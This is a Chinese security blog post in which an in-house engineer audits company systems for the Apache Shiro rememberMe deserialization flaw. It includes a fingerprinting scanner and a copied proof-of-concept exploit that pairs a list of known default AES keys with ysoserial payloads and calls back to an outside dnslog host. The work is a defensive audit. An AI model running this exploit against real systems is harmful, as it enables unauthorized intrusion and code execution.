0x01 前言
老洞了,最近SRC收了一个Apache Shiro漏洞,然后领导就让我去排查,
0x02 情况
先说一下情况吧,由于我司没有一个自动化漏洞扫描平台,因此我只能手动去验证
- 某部500+系统,系统情况不明,没有账号密码
- 某部系统使用云上主机,没有权限进入并扫描war包
0x03 思考
思考一下 问题来了
- 怎么确定系统有用到Apache Shiro?
- 怎么确定该系统的Shiro存在漏洞?
上午查看了一下Apache Shiro反序列化这个漏洞的“前因后果”,触发条件以及相关的poc,虽然网路上有攻击脚本,但是还是没有好用的批量工具(也可能是我没有找到吧
下面是我处理的步骤:
1、找出Apache Shiro的特征
这个特征找的时候还有一部分曲折,一开始我以为的是找到系统的登陆接口,或者提交登陆的form,服务器才会返回一个rememberMe的cookie,然并卵,后面试了几次,发现使用shiro的系统,只要在我请求包中加一个rememberMe=1的cookie,response里就会返回rememberMe=deleteMe的操作,因此由此可以识别该系统是否使用了Apache Shiro
2、编写脚本扫描
要先筛选出使用shiro的系统嘛
我的渣代码就将就着看吧,在写的时候习惯用print来确认自己写的没错,后面调试
<code>from urllib import requestimport jsonimport requestsimport os# 获取每个url数据def get_result(ip): if '://' not in ip: target = 'https://%s/' % ip if ':443' in ip else 'http://%s/' % ip else: target = ip header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Host': ip, 'User-Agent ': 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:61.0) Gecko/20100101 Firefox/61.0', 'Cookie':'rememberMe=1' } # print(header) data = None try: rq = request.Request(target, data=data, headers=header) res = request.urlopen(rq) head = res.headers if "deleteMe" in str(head._headers[1]): print("[+] %s is vulnerable." % (target)) print(ip) return target else: pass #print("[+] %s is not vulerable" % (target)) # return True # return head except Exception as result: pass # print('未知错误 %s' % target) # # print(head) # response = res.read();# 获取请求结果def get_response(): file = open("D:\\\\ip.txt","r") for i in file: # print(i.strip()) ip = i.strip() result = get_result(ip) # print(result)if __name__ == '__main__': get_response()/<code>
3、上攻击脚本
这里要修改脚本进行批量扫描,
0x04 后续
poc 网上有就不多讲了 排查了一遍再用某平台扫描了一遍 也没有发现这些资产有shiro反序列化漏洞,便出报告、发邮件抄送领导了
今天捡了一个poc,觉得挺有趣的,记录下来
<code>import osimport reimport base64import uuidimport subprocessimport requestsfrom Crypto.Cipher import AESJAR_FILE = 'ysoserial.jar'keys=["kPH+bIxk5D2deZiIxcaaaA==","4AvVhmFLUs0KTA3Kprsdag==","3AvVhmFLUs0KTA3Kprsdag==","Z3VucwAAAAAAAAAAAAAAAA==","2AvVhdsgUs0FSA3SDFAdag==","wGiHplamyXlVB11UXWol8g==","fCq+/xW488hMTCD+cmJ3aQ==","1QWLxg+NYmxraMoxAXu/Iw==","ZUdsaGJuSmxibVI2ZHc9PQ==","L7RioUULEFhRyxM7a2R/Yg==","6ZmI6I2j5Y+R5aSn5ZOlAA==","r0e3c16IdVkouZgk1TKVMg==","ZWvohmPdUsAWT3=KpPqda","5aaC5qKm5oqA5pyvAAAAAA==","bWluZS1hc3NldC1rZXk6QQ==","a2VlcE9uR29pbmdBbmRGaQ==","WcfHGU25gNnTxTlmJMeSpw==","LEGEND-CAMPUS-CIPHERKEY==","3AvVhmFLUs0KTA3Kprsdag ==","2AvVhdDFCVdfdfDFAdag==","AsfawfsdfaAasdWWW=="]def poc(url, rce_command,key): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = generator(rce_command, JAR_FILE,key) r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) print r.status_code except Exception, e: pass return Falsedef generator(command, fp,key): if not os.path.exists(fp): raise Exception('jar file not found!') popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': for i in range(len(keys)): print keys[i] poc('http://ip:port/a/login', 'dnslog',keys[i]) #dnslog=http://xxx.ceye.io /<code>
閱讀更多 甲方信息安全工程師 的文章